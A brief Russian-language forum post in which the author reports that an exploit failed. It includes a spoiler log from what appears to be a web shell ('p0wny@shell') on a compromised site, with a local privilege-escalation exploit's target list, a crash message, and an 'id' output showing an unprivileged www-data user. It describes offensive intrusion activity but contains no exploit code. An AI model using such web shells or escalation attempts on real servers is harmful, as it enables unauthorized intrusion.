Пробовал сплоит, не получилось нефига :с

.SpoilerTarget" type="button">Spoiler: log
p0wny@shell:…/site.ru/private# ./sploit

Usage: ./sploit target binary

Target 0 Debian 9 (stretch)

Target 1 Debian 10 (buster)

Target 2 Ubuntu 14.04.5 (Trusty Tahr)

Target 3 Ubuntu 16.04.2 (Xenial Xerus)

Target 4 Ubuntu 17.04 (Zesty Zapus)

Target 5 Fedora 23 (Server Edition)

Target 6 Fedora 24 (Server Edition)

Target 7 Fedora 25 (Server Edition)

died in main: 316

p0wny@shell:…/site.ru/private# id

uid=1411(siteuser) gid=1411(siteuser) groups=1411(siteuser),33(www-data)